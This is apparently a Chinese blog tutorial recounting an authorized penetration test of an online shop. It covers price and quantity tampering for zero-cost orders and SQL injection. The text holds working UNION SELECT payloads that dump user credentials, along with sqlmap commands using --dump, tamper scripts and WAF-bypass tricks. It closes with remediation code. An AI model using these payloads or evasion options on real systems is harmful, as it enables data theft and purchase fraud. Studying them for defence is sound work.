商城系统漏洞挖掘实战:从SQL注入到业务逻辑漏洞的完整攻防解析
1. 项目概述:一次真实的商城漏洞挖掘复盘
最近在和朋友交流安全测试经验时,聊到了一个挺有意思的案例:一个存在多处安全缺陷的商城系统,最终导致了“0元购”和敏感数据泄露的风险。这听起来像电影情节,但在一些疏于防护的Web应用中并不少见。今天,我就把这个案例的完整操作思路、技术细节和背后的原理,掰开揉碎了跟大家分享一下。整个过程涉及对业务逻辑的深入分析和经典的SQL注入漏洞利用,只要你具备基础的Web知识和一点耐心,理解并复现核心步骤是完全可行的。
需要强调的是,本文所有操作均在合法授权的测试环境或专为安全研究搭建的靶场中进行。我们的目的是通过剖析漏洞,理解攻击者的思维路径,从而更好地构建防御体系。任何未经授权的测试行为都是违法且不道德的。好了,铺垫完毕,我们直接进入正题。这次的目标是一个具有购物车、订单、用户管理等功能的典型商城系统,我们最终通过组合利用逻辑漏洞和SQL注入,实现了“0元支付下单”并获取了后台数据库信息。
2. 漏洞挖掘的整体思路与侦察阶段
2.1 目标分析与信息收集
面对一个Web应用,盲目测试效率极低。我的习惯是先把它当做一个“黑盒”,从外部观察其行为。首先,我通过浏览器访问了商城首页,浏览了商品列表、用户登录注册、购物车、订单提交等主要功能页面。同时,我打开了浏览器的开发者工具(F12),重点关注网络(Network)标签页。
在这里,我做了几件事:
- 观察请求与响应:查看页面加载时发送了哪些HTTP请求,特别是提交表单(如登录、搜索、加入购物车)时的POST/GET请求。这能帮助我理解前端与后端的交互方式。
- 分析参数结构:注意URL中的参数(如
/product.php?id=123)、表单提交的数据(如username=admin&password=123456)以及Cookie内容。参数名(如id,price,coupon)往往暗示了后端处理逻辑。 - 寻找隐藏输入与API接口:检查网页源代码,看是否有隐藏的表单字段(
<input type="hidden">),这些字段的值有时会被后端直接信任并使用。另外,留意是否有通过JavaScript调用的、返回JSON数据的API接口(路径可能包含/api/),这些也是重要的测试点。
注意:信息收集阶段要细致。我曾在一个项目的JS文件里发现了一个被注释掉的、用于调试的管理员登录接口,这成为了后续测试的突破口。
通过初步侦察,我大致摸清了该商城的几个关键功能点:商品详情页(带ID参数)、用户登录、购物车数量修改、优惠券应用、订单提交。这些交互点,就是潜在漏洞的“入口”。
2.2 漏洞假设与测试方向规划
基于常见漏洞模式,我初步规划了两个主要的测试方向,它们也对应了本次分享的两个核心漏洞:
- 业务逻辑漏洞(导向“0元购”):重点关注与“价值”相关的操作。比如,修改购物车商品数量、篡改提交的商品价格、滥用优惠券逻辑、重复提交订单等。核心思路是:前端传递过来的数据,后端是否进行了充分的校验?例如,前端限制了商品数量只能输入正整数,但后端是否也做了同样的检查?
- SQL注入漏洞(导向数据泄露):重点关注所有与数据库交互的点。包括带参数的URL(如
id)、搜索框、登录框等。核心思路是:用户输入是否被直接拼接到了SQL查询语句中?例如,查询商品详情的SQL语句可能是SELECT * FROM products WHERE id = $_GET[‘id’],如果id参数未经处理,就可能存在注入。
有了清晰的方向,接下来的测试就不再是漫无目的的碰运气,而是有针对性的验证。
3. “0元购”逻辑漏洞的发现与利用详解
3.1 购物车数量篡改漏洞
我首先测试了购物车功能。将一件单价100元的商品加入购物车后,在购物车页面,我通过开发者工具找到了对应商品数量的输入框。前端HTML代码类似:
<input type="number" name="quantity" value="1" min="1" max="99">前端通过min=”1″属性限制了只能输入≥1的值。但这只是客户端的限制。我直接通过开发者工具编辑这个HTML元素,将min属性删除,或者直接将value改为-10、0、999等异常值,然后尝试更新购物车。
操作与结果:
- 提交数量为
-10:后端返回了错误,提示“数量无效”。说明后端对负数做了校验。 - 提交数量为
0:关键发现来了。页面刷新后,该商品从购物车列表中消失了,这符合逻辑。但当我再次进入购物车时,发现该商品仍然在列,但数量显示为0,且商品总价被计算为0元!我尝试提交订单,系统竟然生成了一个待支付金额为0元的订单。
漏洞原理分析: 后端代码的逻辑缺陷很可能如下:
// 伪代码,问题逻辑 $new_quantity = $_POST[‘quantity’]; // 直接接收前端传来的数量 $product_id = $_POST[‘product_id’]; $price = get_price_from_db($product_id); // 从数据库获取单价 // 问题1:未对 $new_quantity 进行非负整数校验,只校验了“是否在购物车” // 问题2:计算总价时直接相乘 $total_price = $price * $new_quantity; // 当 $new_quantity = 0 时,$total_price = 0 update_cart($user_id, $product_id, $new_quantity); // 将数量0更新到数据库 // 后续生成订单时,直接从购物车读取数量和单价进行计算,导致订单金额为0。这个漏洞的本质是后端信任了前端传来的业务数据,且校验规则不完整。它只检查了“商品是否存在”,却没有对核心业务参数“数量”进行有效的业务规则校验(例如,必须大于0)。
3.2 订单价格参数篡改漏洞
在发现购物车漏洞后,我继续测试订单流程。在提交订单的最后一步,浏览器向服务器发送了一个包含所有商品信息、总价、收货地址的POST请求。我拦截了这个请求(使用Burp Suite或开发者工具的网络面板均可)。
在请求参数中,我看到了类似这样的结构:
products[0][id]=101&products[0][price]=100&products[0][quantity]=1&total_amount=100这里有一个明显的风险点:商品单价(price)和总价(total_amount)竟然由前端传递!这意味着,我可以尝试修改这些值。
操作与结果:
- 我将
products[0][price]的值从100改为0.01,同时将total_amount也改为0.01,然后放行请求。后端成功创建了订单,但订单金额变成了0.01元。这说明后端可能用了我传的price值,但校验了total_amount是否与计算总和一致(虽然这个总和也是基于我篡改后的单价)。 - 我进行了更激进的测试:将
products[0][price]和total_amount都改为0。再次放行请求。结果:一个支付金额为0元的订单再次被成功创建。
漏洞原理分析: 这是比购物车漏洞更严重的逻辑错误。正确的设计应该是:
- 商品单价必须从后端数据库获取,绝对不能被前端参数覆盖。
- 订单总金额必须在后端重新计算(基于数据库单价和商品数量),并与前端传来的
total_amount进行比对,不一致则拒绝。 该商城的后端代码显然没有遵守这些原则,完全信任了前端提交的价格数据,导致了“任意定价”的严重漏洞。
实操心得:在测试业务逻辑漏洞时,要时刻思考“服务器应该以谁的数据为准”?凡是涉及金额、数量、权限状态(如
is_admin)等核心业务参数,如果由前端传输,就必须测试篡改的可能性。一个简单的测试方法是:尝试传递一个边界或异常值(如负数、0、极大值、小数),或者传递一个与当前用户身份不符的值(如普通用户传递管理员ID)。
4. SQL注入漏洞的手工检测与利用
“0元购”漏洞危害虽大,但SQL注入往往能带来更深远的影响(如拖库)。我决定对商城进行SQL注入测试。我选择从商品详情页的id参数入手,因为这类查询在商城系统中非常普遍。
4.1 注入点发现与类型判断
商品详情页URL为:/product.php?id=123首先,我测试其是否存在注入。我提交:/product.php?id=123’页面返回了数据库错误信息(如“You have an error in your SQL syntax…”)。这是一个强烈的注入信号,并且错误信息直接暴露,说明后端错误处理方式不安全。
接下来需要判断注入类型。我进行了经典测试:
- 测试数字型:
/product.php?id=123 and 1=1– 页面正常显示商品123。 - 测试数字型:
/product.php?id=123 and 1=2– 页面内容消失或报错(因为1=2为假,查询不到数据)。 - 测试字符型:
/product.php?id=123‘ and ‘1’=’1– 如果页面正常,则是字符型,因为闭合了单引号。
在这个案例中,id=123 and 1=2导致页面异常,而id=123‘ and ‘1’=’1则语法错误。因此,我初步判断为数字型注入。这意味着id参数在SQL语句中很可能没有被单引号包裹,形如SELECT ... FROM products WHERE id = $id。
4.2 使用联合查询(Union Select)获取信息
确认数字型注入后,下一步是利用UNION SELECT语句来获取我们想要的数据。这需要先确定当前查询语句的字段数。
步骤一:确定字段数使用ORDER BY子句进行猜测。ORDER BY 1表示按第一列排序,如果该列存在,页面正常;如果不存在(如ORDER BY 10),则会报错。 我依次测试:/product.php?id=123 order by 5– 正常/product.php?id=123 order by 6– 报错 由此确定,当前执行的SQL查询语句返回的列数为5。
步骤二:寻找显示位UNION SELECT要求前后两个查询的列数一致。现在我知道是5列。我需要找出这5列中,有哪些列的内容会显示在网页上。 我提交:/product.php?id=-123 union select 1,2,3,4,5这里把id设为负数(如-123),是为了让原查询不返回结果,从而确保页面显示的是我们union select的结果。 页面显示后,我查看网页源代码,发现数字“2”和“3”的位置被直接输出在了页面上。这意味着第2列和第3列是显示位,我们可以将想要查询的数据替换到这两个位置。
步骤三:获取数据库信息现在,我将2和3的位置替换为数据库函数:
- 查询当前数据库名和用户:
/product.php?id=-123 union select 1, database(), user(), 4, 5页面显示位分别显示了数据库名(例如shop_db)和当前数据库用户(例如root@localhost)。使用root用户是极度危险的安全配置。 - 查询数据库中的所有表名: 在MySQL中,
information_schema.tables存储了所有表的信息。/product.php?id=-123 union select 1, group_concat(table_name), null, 4,5 from information_schema.tables where table_schema=database()group_concat()函数将多行结果合并成一个字符串。执行后,在显示位得到了一个逗号分隔的字符串,如:users, products, orders, admin_log, ...。其中users和admin_log表立刻引起了我的注意。
步骤四:获取表结构(字段名)知道了表名,接下来需要知道表里有哪些列(字段)。查询information_schema.columns。/product.php?id=-123 union select 1, group_concat(column_name), null, 4,5 from information_schema.columns where table_schema=database() and table_name=‘users’执行后,得到了users表的字段列表:id, username, password, email, mobile, ...
步骤五:拖取核心数据最后一步,直接查询users表的数据:/product.php?id=-123 union select 1, username, password, 4,5 from users页面上清晰地显示了所有用户的用户名和密码哈希值(通常是MD5或BCrypt)。如果密码哈希强度弱(如单纯的MD5),攻击者可以通过彩虹表快速破解,从而获得用户账号。如果还有admin表,用同样方法可以获取管理员凭证。
注意事项:手工注入的过程需要耐心和对SQL语句的熟悉。在实际测试中,如果页面没有明显的回显位,可能需要使用“盲注”技术,通过页面返回的真/假、时间延迟等差异来推断数据,这比有回显的注入要复杂和耗时得多。
5. 使用SQLMap进行自动化漏洞验证与利用
手工注入能让我们深刻理解原理,但在时间有限或需要快速验证大量目标时,自动化工具是更好的选择。sqlmap是这方面的王者。下面我演示如何用sqlmap对刚才发现的注入点进行自动化利用。
5.1 基本检测与数据库枚举
首先,确保你从官网下载了sqlmap。基础检测命令非常简单:
python sqlmap.py -u “http://target-site.com/product.php?id=123”sqlmap会自动检测id参数是否存在注入以及注入类型。它会询问你是否跳过其他参数的测试、是否遵循重定向等,一般按回车选择默认即可。
当sqlmap确认存在注入后,我们可以开始枚举信息:
- 获取当前数据库名:
python sqlmap.py -u “http://target-site.com/product.php?id=123” --current-db - 列出所有数据库:
python sqlmap.py -u “http://target-site.com/product.php?id=123” --dbs - 列出指定数据库的所有表(假设库名为
shop_db):python sqlmap.py -u “http://target-site.com/product.php?id=123” -D shop_db --tables
5.2 提取表数据与防御规避
获取表名(例如users)后,可以进一步提取表中的列名和数据。
- 获取
users表的字段名:python sqlmap.py -u “http://target-site.com/product.php?id=123” -D shop_db -T users --columns - 导出
users表的所有数据:python sqlmap.py -u “http://target-site.com/product.php?id=123” -D shop_db -T users -C “username,password,email” --dump--dump命令会将数据导出到本地sqlmap的输出目录中。如果密码是哈希值,sqlmap还会尝试调用内置的字典进行破解。
应对可能的防御措施: 有些网站会有WAF(Web应用防火墙)或简单的过滤规则。sqlmap提供了一些规避技巧:
--tamper参数:使用脚本对注入载荷进行混淆。例如,--tamper=space2comment将空格替换为注释。--random-agent:使用随机的User-Agent头,避免被基于Agent的规则屏蔽。--delay 1:在每个HTTP请求之间延迟1秒,避免触发频率限制。
实操心得:
sqlmap功能强大,但切忌滥用。在授权测试中,使用--batch模式可以自动选择默认选项,提高效率。但更重要的是理解其输出的每一步在做什么,这能帮你判断为何某个注入点工具跑不出来(可能是过滤、可能是盲注需要指定技术--technique=B)。永远不要把它当作一个“黑箱”攻击按钮。
6. 漏洞根源分析与安全加固建议
通过以上实战,我们看到了两类高危漏洞:业务逻辑漏洞和SQL注入漏洞。它们的根源都在于对用户输入数据的过度信任和校验缺失。
6.1 SQL注入漏洞的根源与修复
根源:将用户输入(如id参数)直接拼接到SQL查询字符串中,没有进行任何过滤或转义。修复方案(以PHP为例):
- 使用参数化查询(预编译语句):这是根本解决方案。它将SQL语句结构与数据分离,数据库引擎会确保数据不会被解释为代码。
- PDO示例:
$stmt = $pdo->prepare(“SELECT * FROM products WHERE id = :id”); $stmt->execute([‘id’ => $_GET[‘id’]]); $product = $stmt->fetch(); - MySQLi示例:
$stmt = $mysqli->prepare(“SELECT * FROM products WHERE id = ?”); $stmt->bind_param(“i”, $_GET[‘id’]); // “i” 表示整数类型 $stmt->execute(); $result = $stmt->get_result();
- PDO示例:
- 如果万不得已要拼接,必须严格转义:对于字符串,使用
mysqli_real_escape_string();但请注意,这并非绝对安全,参数化查询是首选。 - 最小权限原则:连接数据库的账户不应使用
root,而应授予其应用所需的最小权限(如只有SELECT,INSERT,UPDATE在特定表上)。
6.2 业务逻辑漏洞的根源与修复
根源:业务规则校验仅依赖不可信的前端,后端缺乏对核心业务参数(价格、数量、状态)的二次校验和权威数据源(数据库)的比对。修复方案:
- 价格、库存等核心数据必须源于后端:订单生成时,商品单价必须从数据库重新查询,绝不能使用前端传递的值。总金额必须在后端重新计算。
// 正确做法 $product_id = $_POST[‘product_id’]; $quantity = (int)$_POST[‘quantity’]; // 转为整数 // 从数据库获取价格和库存 $product_info = get_product_from_db($product_id); $unit_price = $product_info[‘price’]; $stock = $product_info[‘stock’]; // 业务校验 if ($quantity <= 0 || $quantity > $stock) { die(“Invalid quantity.”); } $total_price = $unit_price * $quantity; // 后端计算总价 // 再与前端传来的总价比对(可选,但后端计算是必须的) if (abs($total_price - $_POST[‘total_amount’]) > 0.01) { // 允许微小浮点误差 die(“Amount mismatch.”); } - 关键操作添加防重放机制:对于提交订单、支付等操作,使用Token(一次性令牌)防止重复提交。用户会话中存储一个Token,提交表单时一同发送,后端验证后立即销毁该Token。
- 完善校验规则:数量必须为正整数、优惠券是否可用、用户是否有权限操作等,必须在服务端用代码逻辑严格保证。
7. 测试中的常见问题与排查技巧
在实际漏洞挖掘过程中,你可能会遇到各种情况。这里记录几个我常碰到的问题和解决思路:
页面没有明显错误回显,如何判断注入?
- 使用布尔盲注逻辑:提交
id=1 and 1=1和id=1 and 1=2,观察页面内容是否存在细微差别(如某个单词消失、布局轻微变化)。sqlmap的--technique=B就是用于布尔盲注。 - 使用时间盲注:提交
id=1 and sleep(5),如果页面响应延迟了大约5秒,则可能存在基于时间的盲注。sqlmap的--technique=T用于时间盲注。
- 使用布尔盲注逻辑:提交
提交单引号
‘后,页面一片空白或跳转到首页,怎么办?- 这可能是网站有全局的输入过滤或WAF。尝试使用大小写混淆、编码、注释符等绕过技巧。例如,用
%27代替‘,用AND代替and,在关键词中间插入注释/*!*/,如an/*!*/d。 - 使用
sqlmap的--tamper参数尝试多种绕过脚本。
- 这可能是网站有全局的输入过滤或WAF。尝试使用大小写混淆、编码、注释符等绕过技巧。例如,用
sqlmap跑不出来,但手工测试感觉有注入?- 确认注入点类型,用
--technique参数指定注入技术(U:联合查询,B:布尔盲注,T:时间盲注等)。 - 可能注入点在Cookie或HTTP头中。使用
--cookie=”PHPSESSID=xxx…”或--headers参数。 - 可能存在Token或动态参数。需要用
--randomize参数或编写tamper脚本处理。
- 确认注入点类型,用
业务逻辑测试时,修改参数无效?
- 检查参数是否被签名或加密。有些应用会对关键参数生成一个HMAC签名,修改参数后签名不匹配,请求会被拒绝。这时需要先分析前端JS,看签名是如何生成的。
- 参数可能不是简单的
name=value格式,可能是JSON或XML格式,需要修改对应的格式内容。
漏洞挖掘是一个不断假设、验证、推理的过程。它考验的不仅是技术知识,更是耐心、细心和对系统逻辑的理解深度。每一次测试,都像是在和开发者的思维进行对话。最后再次重申,所有技术都应在法律和道德允许的范围内,用于提升系统安全性。
